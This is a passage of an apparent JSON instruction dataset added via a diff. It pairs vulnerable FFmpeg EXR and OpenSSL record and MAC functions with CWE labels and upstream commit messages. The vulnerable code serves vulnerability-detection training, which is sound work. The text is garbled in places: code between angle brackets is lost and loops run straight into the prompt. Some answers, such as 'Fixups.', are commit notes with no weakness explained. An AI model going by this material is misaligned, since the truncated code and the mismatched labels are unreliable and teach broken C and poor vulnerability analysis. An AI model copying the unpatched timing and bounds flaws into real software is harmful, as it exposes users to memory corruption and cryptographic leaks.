ff_set_dimensions(avctx, s->w, s->h)) < 0)\n        return ret;\n\n    s->desc          = av_pix_fmt_desc_get(avctx->pix_fmt);\n    if (!s->desc)\n        return AVERROR_INVALIDDATA;\n\n    if (s->desc->flags & AV_PIX_FMT_FLAG_FLOAT) {\n        planes           = s->desc->nb_components;\n        out_line_size    = avctx->width * 4;\n    } else {\n        planes           = 1;\n        out_line_size    = avctx->width * 2 * s->desc->nb_components;\n    }\n\n    if (s->is_tile) {\n        nb_blocks = ((s->xdelta + s->tile_attr.xSize - 1) / s->tile_attr.xSize) *\n        ((s->ydelta + s->tile_attr.ySize - 1) / s->tile_attr.ySize);\n    } else { /* scanline */\n        nb_blocks = (s->ydelta + s->scan_lines_per_block - 1) /\n        s->scan_lines_per_block;\n    }\n\n    if ((ret = ff_thread_get_buffer(avctx, &frame, 0)) < 0)\n        return ret;\n\n    if (bytestream2_get_bytes_left(&s->gb)/8 < nb_blocks)\n        return AVERROR_INVALIDDATA;\n\n    // check offset table and recreate it if need\n    if (!s->is_tile && bytestream2_peek_le64(&s->gb) == 0) {\n        av_log(s->avctx, AV_LOG_DEBUG, \"recreating invalid scanline offset table\\n\");\n\n        start_offset_table = bytestream2_tell(&s->gb);\n        start_next_scanline = start_offset_table + nb_blocks * 8;\n        bytestream2_init_writer(&offset_table_writer, &avpkt->data[start_offset_table], nb_blocks * 8);\n\n        for (y = 0; y < nb_blocks; y++) {\n            /* write offset of prev scanline in offset table */\n            bytestream2_put_le64(&offset_table_writer, start_next_scanline);\n\n            /* get len of next scanline */\n            bytestream2_seek(&s->gb, start_next_scanline + 4, SEEK_SET);/* skip line number */\n            start_next_scanline += (bytestream2_get_le32(&s->gb) + 8);\n        }\n        bytestream2_seek(&s->gb, start_offset_table, SEEK_SET);\n    }\n\n    // save pointer we are going to use in decode_block\n    s->buf      = avpkt->data;\n    s->buf_size = avpkt->size;\n\n    // Zero out the start if ymin is not 0\n    for (i = 0; i < planes; i++) {\n        ptr = picture->data[i];\n        for (y = 0; y < s->ymin; y++) {\n            memset(ptr, 0, out_line_size);\n            ptr += picture->linesize[i];\n        }\n    }\n\n    s->picture = picture;\n\n    avctx->execute2(avctx, decode_block, s->thread_data, NULL, nb_blocks);\n\n    ymax = FFMAX(0, s->ymax + 1);\n    // Zero out the end if ymax+1 is not h\n    for (i = 0; i < planes; i++) {\n        ptr = picture->data[i] + (ymax * picture->linesize[i]);\n        for (y = ymax; y < avctx->height; y++) {\n            memset(ptr, 0, out_line_size);\n            ptr += picture->linesize[i];\n        }\n    }\n\n    picture->pict_type = AV_PICTURE_TYPE_I;\n    *got_frame = 1;\n\n    return avpkt->size;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'avcodec/exr: Check ymin vs. h\n\nFixes: out of array access\nFixes: 26532/clusterfuzz-testcase-minimized-ffmpeg_AV_CODEC_ID_EXR_fuzzer-5613925708857344\nFixes: 27443/clusterfuzz-testcase-minimized-ffmpeg_AV_CODEC_ID_EXR_fuzzer-5631239813595136\n\nFound-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/projects/ffmpeg\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ssl2_read_internal(SSL *s, void *buf, int len, int peek)\n\t{\n\tint n;\n\tunsigned char mac[MAX_MAC_SIZE];\n\tunsigned char *p;\n\tint i;\n\tunsigned int mac_size;\n\n ssl2_read_again:\n\tif (SSL_in_init(s) && !s->in_handshake)\n\t\t{\n\t\tn=s->handshake_func(s);\n\t\tif (n < 0) return(n);\n\t\tif (n == 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL2_READ_INTERNAL,SSL_R_SSL_HANDSHAKE_FAILURE);\n\t\t\treturn(-1);\n\t\t\t}\n\t\t}\n\n\tclear_sys_error();\n\ts->rwstate=SSL_NOTHING;\n\tif (len <= 0) return(len);\n\n\tif (s->s2->ract_data_length != 0) /* read from buffer */\n\t\t{\n\t\tif (len > s->s2->ract_data_length)\n\t\t\tn=s->s2->ract_data_length;\n\t\telse\n\t\t\tn=len;\n\n\t\tmemcpy(buf,s->s2->ract_data,(unsigned int)n);\n\t\tif (!peek)\n\t\t\t{\n\t\t\ts->s2->ract_data_length-=n;\n\t\t\ts->s2->ract_data+=n;\n\t\t\tif (s->s2->ract_data_length == 0)\n\t\t\t\ts->rstate=SSL_ST_READ_HEADER;\n\t\t\t}\n\n\t\treturn(n);\n\t\t}\n\n\t/* s->s2->ract_data_length == 0\n\t * \n\t * Fill the buffer, then goto ssl2_read_again.\n\t */\n\n\tif (s->rstate == SSL_ST_READ_HEADER)\n\t\t{\n\t\tif (s->first_packet)\n\t\t\t{\n\t\t\tn=read_n(s,5,SSL2_MAX_RECORD_LENGTH_2_BYTE_HEADER+2,0);\n\t\t\tif (n <= 0) return(n); /* error or non-blocking */\n\t\t\ts->first_packet=0;\n\t\t\tp=s->packet;\n\t\t\tif (!((p[0] & 0x80) && (\n\t\t\t\t(p[2] == SSL2_MT_CLIENT_HELLO) ||\n\t\t\t\t(p[2] == SSL2_MT_SERVER_HELLO))))\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL2_READ_INTERNAL,SSL_R_NON_SSLV2_INITIAL_PACKET);\n\t\t\t\treturn(-1);\n\t\t\t\t}\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\tn=read_n(s,2,SSL2_MAX_RECORD_LENGTH_2_BYTE_HEADER+2,0);\n\t\t\tif (n <= 0) return(n); /* error or non-blocking */\n\t\t\t}\n\t\t/* part read stuff */\n\n\t\ts->rstate=SSL_ST_READ_BODY;\n\t\tp=s->packet;\n\t\t/* Do header */\n\t\t/*s->s2->padding=0;*/\n\t\ts->s2->escape=0;\n\t\ts->s2->rlength=(((unsigned int)p[0])<<8)|((unsigned int)p[1]);\n\t\tif ((p[0] & TWO_BYTE_BIT))\t\t/* Two byte header? */\n\t\t\t{\n\t\t\ts->s2->three_byte_header=0;\n\t\t\ts->s2->rlength&=TWO_BYTE_MASK;\t\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\ts->s2->three_byte_header=1;\n\t\t\ts->s2->rlength&=THREE_BYTE_MASK;\n\n\t\t\t/* security >s2->escape */\n\t\t\ts->s2->escape=((p[0] & SEC_ESC_BIT))?1:0;\n\t\t\t}\n\t\t}\n\n\tif (s->rstate == SSL_ST_READ_BODY)\n\t\t{\n\t\tn=s->s2->rlength+2+s->s2->three_byte_header;\n\t\tif (n > (int)s->packet_length)\n\t\t\t{\n\t\t\tn-=s->packet_length;\n\t\t\ti=read_n(s,(unsigned int)n,(unsigned int)n,1);\n\t\t\tif (i <= 0) return(i); /* ERROR */\n\t\t\t}\n\n\t\tp= &(s->packet[2]);\n\t\ts->rstate=SSL_ST_READ_HEADER;\n\t\tif (s->s2->three_byte_header)\n\t\t\ts->s2->padding= *(p++);\n\t\telse\ts->s2->padding=0;\n\n\t\t/* Data portion */\n\t\tif (s->s2->clear_text)\n\t\t\t{\n\t\t\tmac_size = 0;\n\t\t\ts->s2->mac_data=p;\n\t\t\ts->s2->ract_data=p;\n\t\t\tif (s->s2->padding)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL2_READ_INTERNAL,SSL_R_ILLEGAL_PADDING);\n\t\t\t\treturn(-1);\n\t\t\t\t}\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\tmac_size=EVP_MD_size(s->read_hash);\n\t\t\tOPENSSL_assert(mac_size <= MAX_MAC_SIZE);\n\t\t\ts->s2->mac_data=p;\n\t\t\ts->s2->ract_data= &p[mac_size];\n\t\t\tif (s->s2->padding + mac_size > s->s2->rlength)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL2_READ_INTERNAL,SSL_R_ILLEGAL_PADDING);\n\t\t\t\treturn(-1);\n\t\t\t\t}\n\t\t\t}\n\n\t\ts->s2->ract_data_length=s->s2->rlength;\n\t\t/* added a check for length > max_size in case\n\t\t * encryption was not turned on yet due to an error */\n\t\tif ((!s->s2->clear_text) &&\n\t\t\t(s->s2->rlength >= mac_size))\n\t\t\t{\n\t\t\tssl2_enc(s,0);\n\t\t\ts->s2->ract_data_length-=mac_size;\n\t\t\tssl2_mac(s,mac,0);\n\t\t\ts->s2->ract_data_length-=s->s2->padding;\n\t\t\tif (\t(memcmp(mac,s->s2->mac_data,\n\t\t\t\t(unsigned int)mac_size) != 0) ||\n\t\t\t\t(s->s2->rlength%EVP_CIPHER_CTX_block_size(s->enc_read_ctx) != 0))\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL2_READ_INTERNAL,SSL_R_BAD_MAC_DECODE);\n\t\t\t\treturn(-1);\n\t\t\t\t}\n\t\t\t}\n\t\tINC32(s->s2->read_sequence); /* expect next number */\n\t\t/* s->s2->ract_data is now available for processing */\n\n\t\t/* Possibly the packet that we just read had 0 actual data bytes.\n\t\t * (SSLeay/OpenSSL itself never sends such packets; see ssl2_write.)\n\t\t * In this case, returning 0 would be interpreted by the caller\n\t\t * as indicating EOF, so it's not a good idea.  Instead, we just\n\t\t * continue reading; thus ssl2_read_internal may have to process\n\t\t * multiple packets before it can return.\n\t\t *\n\t\t * [Note that using select() for blocking sockets *never* guarantees\n\t\t * that the next SSL_read will not block -- the available\n\t\t * data may contain incomplete packets, and except for SSL 2,\n\t\t * renegotiation can confuse things even more.] */\n\n\t\tgoto ssl2_read_again; /* This should really be\n\t\t                       * \"return ssl2_read(s,buf,len)\",\n\t\t                       * but that would allow for\n\t\t                       * denial-of-service attacks if a\n\t\t                       * C compiler is used that does not\n\t\t                       * recognize end-recursion. */\n\t\t}\n\telse\n\t\t{\n\t\tSSLerr(SSL_F_SSL2_READ_INTERNAL,SSL_R_BAD_STATE);\n\t\t\treturn(-1);\n\t\t}\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Add and use a constant-time memcmp.\n\nThis change adds CRYPTO_memcmp, which compares two vectors of bytes in\nan amount of time that's independent of their contents. It also changes\nseveral MAC compares in the code to use this over the standard memcmp,\nwhich may leak information about the size of a matching prefix.\n(cherry picked from commit 2ee798880a246d648ecddadc5b91367bee4a5d98)\n\nConflicts:\n\tcrypto/crypto.h\n\tssl/t1_lib.c\n(cherry picked from commit dc406b59f3169fe191e58906df08dce97edb727c)\n\nConflicts:\n\tcrypto/crypto.h\n\tssl/d1_pkt.c\n\tssl/s3_pkt.c'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int tls1_mac(SSL *ssl, unsigned char *md, int send)\n\t{\n\tSSL3_RECORD *rec;\n\tunsigned char *mac_sec,*seq;\n\tconst EVP_MD *hash;\n\tunsigned int md_size;\n\tint i;\n\tEVP_MD_CTX hmac, *mac_ctx;\n\tunsigned char header[13];\n\tint stream_mac = (send?(ssl->mac_flags & SSL_MAC_FLAG_WRITE_MAC_STREAM):(ssl->mac_flags&SSL_MAC_FLAG_READ_MAC_STREAM));\n\tint t;\n\n\tif (send)\n\t\t{\n\t\trec= &(ssl->s3->wrec);\n\t\tmac_sec= &(ssl->s3->write_mac_secret[0]);\n\t\tseq= &(ssl->s3->write_sequence[0]);\n\t\thash=ssl->write_hash;\n\t\t}\n\telse\n\t\t{\n\t\trec= &(ssl->s3->rrec);\n\t\tmac_sec= &(ssl->s3->read_mac_secret[0]);\n\t\tseq= &(ssl->s3->read_sequence[0]);\n\t\thash=ssl->read_hash;\n\t\t}\n\n\tmd_size=EVP_MD_size(hash);\n\n\t/* I should fix this up TLS TLS TLS TLS TLS XXXXXXXX */\n\tHMAC_CTX_init(&hmac);\n\tHMAC_Init_ex(&hmac,mac_sec,EVP_MD_size(hash),hash,NULL);\n\n\tif (ssl->version == DTLS1_BAD_VER ||\n\t    (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER))\n\t\t{\n\t\tunsigned char dtlsseq[8],*p=dtlsseq;\n\t\ts2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);\n\t\tmemcpy (p,&seq[2],6);\n\n\t\tmemcpy(header, dtlsseq, 8);\n\t\t}\n\telse\n\t\tmemcpy(header, seq, 8);\n\n\theader[8]=rec->type;\n\theader[9]=(unsigned char)(ssl->version>>8);\n\theader[10]=(unsigned char)(ssl->version);\n\theader[11]=(rec->length)>>8;\n\theader[12]=(rec->length)&0xff;\n\n\tif (!send &&\n\t    EVP_CIPHER_CTX_mode(ssl->enc_read_ctx) == EVP_CIPH_CBC_MODE &&\n\t    ssl3_cbc_record_digest_supported(mac_ctx))\n\t\t{\n\t\t/* This is a CBC-encrypted record. We must avoid leaking any\n\t\t * timing-side channel information about how many blocks of\n\t\t * data we are hashing because that gives an attacker a\n\t\t * timing-oracle. */\n\t\tssl3_cbc_digest_record(\n\t\t\tmac_ctx,\n\t\t\tmd, &md_size,\n\t\t\theader, rec->input,\n\t\t\trec->length + md_size, rec->orig_len,\n\t\t\tssl->s3->read_mac_secret,\n\t\t\tssl->s3->read_mac_secret_size,\n\t\t\t0 /* not SSLv3 */);\n\t\t}\n\telse\n\t\t{\n\t\tEVP_DigestSignUpdate(mac_ctx,header,sizeof(header));\n\t\tEVP_DigestSignUpdate(mac_ctx,rec->input,rec->length);\n\t\tt=EVP_DigestSignFinal(mac_ctx,md,&md_size);\n\t\tOPENSSL_assert(t > 0);\n\t\t}\n\t\t\n\tif (!stream_mac)\n\t\tEVP_MD_CTX_cleanup(&hmac);\n#ifdef TLS_DEBUG\nprintf(\"sec=\");\n{unsigned int z; for (z=0; zlength; z++) printf(\"%02X \",buf[z]); printf(\"\\n\"); }\n#endif\n\n\tif ( SSL_version(ssl) != DTLS1_VERSION && SSL_version(ssl) != DTLS1_BAD_VER)\n\t\t{\n\t\tfor (i=7; i>=0; i--)\n\t\t\t{\n\t\t\t++seq[i];\n\t\t\tif (seq[i] != 0) break; \n\t\t\t}\n\t\t}\n\n#ifdef TLS_DEBUG\n{unsigned int z; for (z=0; z \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Fixups.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int tls1_enc(SSL *s, int send)\n\t{\n\tSSL3_RECORD *rec;\n\tEVP_CIPHER_CTX *ds;\n\tunsigned long l;\n\tint bs,i,j,k,pad=0,ret,mac_size=0;\n\tconst EVP_CIPHER *enc;\n\n\tif (send)\n\t\t{\n\t\tds=s->enc_write_ctx;\n\t\trec= &(s->s3->wrec);\n\t\tif (s->enc_write_ctx == NULL)\n\t\t\tenc=NULL;\n\t\telse\n\t\t\tenc=EVP_CIPHER_CTX_cipher(s->enc_write_ctx);\n\t\t}\n\telse\n\t\t{\n\t\tds=s->enc_read_ctx;\n\t\trec= &(s->s3->rrec);\n\t\tif (s->enc_read_ctx == NULL)\n\t\t\tenc=NULL;\n\t\telse\n\t\t\tenc=EVP_CIPHER_CTX_cipher(s->enc_read_ctx);\n\t\t}\n\n#ifdef KSSL_DEBUG\n\tprintf(\"tls1_enc(%d)\\n\", send);\n#endif    /* KSSL_DEBUG */\n\n\tif ((s->session == NULL) || (ds == NULL) || (enc == NULL))\n\t\t{\n\t\tmemmove(rec->data,rec->input,rec->length);\n\t\trec->input=rec->data;\n\t\tret = 1;\n\t\t}\n\telse\n\t\t{\n\t\tl=rec->length;\n\t\tbs=EVP_CIPHER_block_size(ds->cipher);\n\n\t\tif ((bs != 1) && send)\n\t\t\t{\n\t\t\ti=bs-((int)l%bs);\n\n\t\t\t/* Add weird padding of upto 256 bytes */\n\n\t\t\t/* we need to add 'i' padding bytes of value j */\n\t\t\tj=i-1;\n\t\t\tif (s->options & SSL_OP_TLS_BLOCK_PADDING_BUG)\n\t\t\t\t{\n\t\t\t\tif (s->s3->flags & TLS1_FLAGS_TLS_PADDING_BUG)\n\t\t\t\t\tj++;\n\t\t\t\t}\n\t\t\tfor (k=(int)l; k<(int)(l+i); k++)\n\t\t\t\trec->input[k]=j;\n\t\t\tl+=i;\n\t\t\trec->length+=i;\n\t\t\t}\n\n#ifdef KSSL_DEBUG\n\t\t{\n\t\tunsigned long ui;\n\t\tprintf(\"EVP_Cipher(ds=%p,rec->data=%p,rec->input=%p,l=%ld) ==>\\n\",\n\t\t\tds,rec->data,rec->input,l);\n\t\tprintf(\"\\tEVP_CIPHER_CTX: %d buf_len, %d key_len [%d %d], %d iv_len\\n\",\n\t\t\tds->buf_len, ds->cipher->key_len,\n\t\t\tDES_KEY_SZ, DES_SCHEDULE_SZ,\n\t\t\tds->cipher->iv_len);\n\t\tprintf(\"\\t\\tIV: \");\n\t\tfor (i=0; icipher->iv_len; i++) printf(\"%02X\", ds->iv[i]);\n\t\tprintf(\"\\n\");\n\t\tprintf(\"\\trec->input=\");\n\t\tfor (ui=0; uiinput[ui]);\n\t\tprintf(\"\\n\");\n\t\t}\n#endif\t/* KSSL_DEBUG */\n\n\t\tif (!send)\n\t\t\t{\n\t\t\tif (l == 0 || l%bs != 0)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_TLS1_ENC,SSL_R_BLOCK_CIPHER_PAD_IS_WRONG);\n\t\t\t\tssl3_send_alert(s,SSL3_AL_FATAL,SSL_AD_DECRYPTION_FAILED);\n\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\tEVP_Cipher(ds,rec->data,rec->input,l);\n\n#ifdef KSSL_DEBUG\n\t\t{\n                unsigned long ki;\n                printf(\"\\trec->data=\");\n\t\tfor (ki=0; kidata[ki]);  printf(\"\\n\");\n                }\n#endif\t/* KSSL_DEBUG */\n\n\t\trec->orig_len = rec->length;\n\n\t\tret = 1;\n\t\tif (s->read_hash != NULL)\n\t\t\tmac_size = EVP_MD_size(s->read_hash);\n\t\tif ((bs != 1) && !send)\n\t\t\tret = tls1_cbc_remove_padding(s, rec, bs, mac_size);\n\t\tif (pad && !send)\n\t\t\trec->length -= pad;\n\t\t}\n\treturn ret;\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Don't crash when processing a zero-length, TLS >= 1.1 record.\n\nThe previous CBC patch was bugged in that there was a path through enc()\nin s3_pkt.c/d1_pkt.c which didn't set orig_len. orig_len would be left\nat the previous value which could suggest that the packet was a\nsufficient length when it wasn't.\n(cherry picked from commit 6cb19b7681f600b2f165e4adc57547b097b475fd)\n(cherry picked from commit 2c948c1bb218f4ae126e14fd3453d42c62b93235)\n\nConflicts:\n\tssl/s3_enc.c'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int tls1_mac(SSL *ssl, unsigned char *md, int send)\n\t{\n\tSSL3_RECORD *rec;\n\tunsigned char *mac_sec,*seq;\n\tconst EVP_MD *hash;\n\tsize_t md_size;\n\tint i;\n\tHMAC_CTX hmac;\n\tunsigned char header[13];\n\n\tif (send)\n\t\t{\n\t\trec= &(ssl->s3->wrec);\n\t\tmac_sec= &(ssl->s3->write_mac_secret[0]);\n\t\tseq= &(ssl->s3->write_sequence[0]);\n\t\thash=ssl->write_hash;\n\t\t}\n\telse\n\t\t{\n\t\trec= &(ssl->s3->rrec);\n\t\tmac_sec= &(ssl->s3->read_mac_secret[0]);\n\t\tseq= &(ssl->s3->read_sequence[0]);\n\t\thash=ssl->read_hash;\n\t\t}\n\n\tmd_size=EVP_MD_size(hash);\n\n\t/* I should fix this up TLS TLS TLS TLS TLS XXXXXXXX */\n\tHMAC_CTX_init(&hmac);\n\tHMAC_Init_ex(&hmac,mac_sec,EVP_MD_size(hash),hash,NULL);\n\n\tif (ssl->version == DTLS1_BAD_VER ||\n\t    (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER))\n\t\t{\n\t\tunsigned char dtlsseq[8],*p=dtlsseq;\n\t\ts2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);\n\t\tmemcpy (p,&seq[2],6);\n\n\t\tmemcpy(header, dtlsseq, 8);\n\t\t}\n\telse\n\t\tmemcpy(header, seq, 8);\n\n\theader[8]=rec->type;\n\theader[9]=(unsigned char)(ssl->version>>8);\n\theader[10]=(unsigned char)(ssl->version);\n\theader[11]=(rec->length)>>8;\n\theader[12]=(rec->length)&0xff;\n\n\tif (!send &&\n\t    EVP_CIPHER_CTX_mode(ssl->enc_read_ctx) == EVP_CIPH_CBC_MODE &&\n\t    ssl3_cbc_record_digest_supported(hash))\n\t\t{\n\t\t/* This is a CBC-encrypted record. We must avoid leaking any\n\t\t * timing-side channel information about how many blocks of\n\t\t * data we are hashing because that gives an attacker a\n\t\t * timing-oracle. */\n\t\tssl3_cbc_digest_record(\n\t\t        hash,\n\t\t\tmd, &md_size,\n\t\t\theader, rec->input,\n\t\t\trec->length + md_size, rec->orig_len,\n\t\t\tssl->s3->read_mac_secret,\n\t\t\tEVP_MD_size(ssl->read_hash),\n\t\t\t0 /* not SSLv3 */);\n\t\t}\n\telse\n\t\t{\n\t\tunsigned mds;\n\n\t\tHMAC_Update(&hmac,header,sizeof(header));\n\t\tHMAC_Update(&hmac,rec->input,rec->length);\n\t\tHMAC_Final(&hmac,md,&mds);\n\t\tmd_size = mds;\n\t\t}\n\t\t\n\tHMAC_CTX_cleanup(&hmac);\n#ifdef TLS_DEBUG\nprintf(\"sec=\");\n{unsigned int z; for (z=0; zlength; z++) printf(\"%02X \",buf[z]); printf(\"\\n\"); }\n#endif\n\n\tif ( SSL_version(ssl) != DTLS1_VERSION && SSL_version(ssl) != DTLS1_BAD_VER)\n\t\t{\n\t\tfor (i=7; i>=0; i--)\n\t\t\t{\n\t\t\t++seq[i];\n\t\t\tif (seq[i] != 0) break; \n\t\t\t}\n\t\t}\n\n#ifdef TLS_DEBUG\n{unsigned int z; for (z=0; z \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Timing fix mitigation for FIPS mode.\nWe have to use EVP in FIPS mode so we can only partially mitigate\ntiming differences.\n\nMake an extra call to HMAC_Update to hash additonal blocks\nto cover any timing differences caused by removal of padding.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ssl3_get_record(SSL *s)\n\t{\n\tint ssl_major,ssl_minor,al;\n\tint enc_err,n,i,ret= -1;\n\tSSL3_RECORD *rr;\n\tSSL_SESSION *sess;\n\tunsigned char *p;\n\tunsigned char md[EVP_MAX_MD_SIZE];\n\tshort version;\n\tint mac_size;\n\tint clear=0;\n\tsize_t extra;\n\tint decryption_failed_or_bad_record_mac = 0;\n\tunsigned char *mac = NULL;\n\n\trr= &(s->s3->rrec);\n\tsess=s->session;\n\n\tif (s->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)\n\t\textra=SSL3_RT_MAX_EXTRA;\n\telse\n\t\textra=0;\n\tif (extra && !s->s3->init_extra)\n\t\t{\n\t\t/* An application error: SLS_OP_MICROSOFT_BIG_SSLV3_BUFFER\n\t\t * set after ssl3_setup_buffers() was done */\n\t\tSSLerr(SSL_F_SSL3_GET_RECORD, ERR_R_INTERNAL_ERROR);\n\t\treturn -1;\n\t\t}\n\nagain:\n\t/* check if we have the header */\n\tif (\t(s->rstate != SSL_ST_READ_BODY) ||\n\t\t(s->packet_length < SSL3_RT_HEADER_LENGTH)) \n\t\t{\n\t\tn=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);\n\t\tif (n <= 0) return(n); /* error or non-blocking */\n\t\ts->rstate=SSL_ST_READ_BODY;\n\n\t\tp=s->packet;\n\n\t\t/* Pull apart the header into the SSL3_RECORD */\n\t\trr->type= *(p++);\n\t\tssl_major= *(p++);\n\t\tssl_minor= *(p++);\n\t\tversion=(ssl_major<<8)|ssl_minor;\n\t\tn2s(p,rr->length);\n#if 0\nfprintf(stderr, \"Record type=%d, Length=%d\\n\", rr->type, rr->length);\n#endif\n\n\t\t/* Lets check version */\n\t\tif (!s->first_packet)\n\t\t\t{\n\t\t\tif (version != s->version)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_WRONG_VERSION_NUMBER);\n                                if ((s->version & 0xFF00) == (version & 0xFF00))\n                                \t/* Send back error using their minor version number :-) */\n\t\t\t\t\ts->version = (unsigned short)version;\n\t\t\t\tal=SSL_AD_PROTOCOL_VERSION;\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\t}\n\n\t\tif ((version>>8) != SSL3_VERSION_MAJOR)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_WRONG_VERSION_NUMBER);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tif (rr->length > s->s3->rbuf.len - SSL3_RT_HEADER_LENGTH)\n\t\t\t{\n\t\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_PACKET_LENGTH_TOO_LONG);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\t/* now s->rstate == SSL_ST_READ_BODY */\n\t\t}\n\n\t/* s->rstate == SSL_ST_READ_BODY, get and decode the data */\n\n\tif (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH)\n\t\t{\n\t\t/* now s->packet_length == SSL3_RT_HEADER_LENGTH */\n\t\ti=rr->length;\n\t\tn=ssl3_read_n(s,i,i,1);\n\t\tif (n <= 0) return(n); /* error or non-blocking io */\n\t\t/* now n == rr->length,\n\t\t * and s->packet_length == SSL3_RT_HEADER_LENGTH + rr->length */\n\t\t}\n\n\ts->rstate=SSL_ST_READ_HEADER; /* set state for later operations */\n\n\t/* At this point, s->packet_length == SSL3_RT_HEADER_LNGTH + rr->length,\n\t * and we have that many bytes in s->packet\n\t */\n\trr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);\n\n\t/* ok, we can now read from 's->packet' data into 'rr'\n\t * rr->input points at rr->length bytes, which\n\t * need to be copied into rr->data by either\n\t * the decryption or by the decompression\n\t * When the data is 'copied' into the rr->data buffer,\n\t * rr->input will be pointed at the new buffer */ \n\n\t/* We now have - encrypted [ MAC [ compressed [ plain ] ] ]\n\t * rr->length bytes of encrypted compressed stuff. */\n\n\t/* check is not needed I believe */\n\tif (rr->length > SSL3_RT_MAX_ENCRYPTED_LENGTH+extra)\n\t\t{\n\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_ENCRYPTED_LENGTH_TOO_LONG);\n\t\tgoto f_err;\n\t\t}\n\n\t/* decrypt in place in 'rr->input' */\n\trr->data=rr->input;\n\n\tenc_err = s->method->ssl3_enc->enc(s,0);\n\tif (enc_err <= 0)\n\t\t{\n\t\tif (enc_err == 0)\n\t\t\t/* SSLerr() and ssl3_send_alert() have been called */\n\t\t\tgoto err;\n\n\t\t/* Otherwise enc_err == -1, which indicates bad padding\n\t\t * (rec->length has not been changed in this case).\n\t\t * To minimize information leaked via timing, we will perform\n\t\t * the MAC computation anyway. */\n\t\tdecryption_failed_or_bad_record_mac = 1;\n\t\t}\n\n#ifdef TLS_DEBUG\nprintf(\"dec %d\\n\",rr->length);\n{ unsigned int z; for (z=0; zlength; z++) printf(\"%02X%c\",rr->data[z],((z+1)%16)?' ':'\\n'); }\nprintf(\"\\n\");\n#endif\n\n\t/* r->length is now the compressed data plus mac */\n\tif (\t(sess == NULL) ||\n\t\t(s->enc_read_ctx == NULL) ||\n\t\t(EVP_MD_CTX_md(s->read_hash) == NULL))\n\t\tclear=1;\n\n\tif (!clear)\n\t\t{\n\t\t/* !clear => s->read_hash != NULL => mac_size != -1 */\n\t\tmac_size=EVP_MD_CTX_size(s->read_hash);\n\t\tOPENSSL_assert(mac_size >= 0);\n\n\t\tif (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)\n\t\t\t{\n#if 0 /* OK only for stream ciphers (then rr->length is visible from ciphertext anyway) */\n\t\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_PRE_MAC_LENGTH_TOO_LONG);\n\t\t\tgoto f_err;\n#else\n\t\t\tdecryption_failed_or_bad_record_mac = 1;\n#endif\t\t\t\n\t\t\t}\n\t\t/* check the MAC for rr->input (it's in mac_size bytes at the tail) */\n\t\tif (rr->length >= (unsigned int)mac_size)\n\t\t\t{\n\t\t\trr->length -= mac_size;\n\t\t\tmac = &rr->data[rr->length];\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\t/* record (minus padding) is too short to contain a MAC */\n#if 0 /* OK only for stream ciphers */\n\t\t\tal=SSL_AD_DECODE_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n#else\n\t\t\tdecryption_failed_or_bad_record_mac = 1;\n\t\t\trr->length = 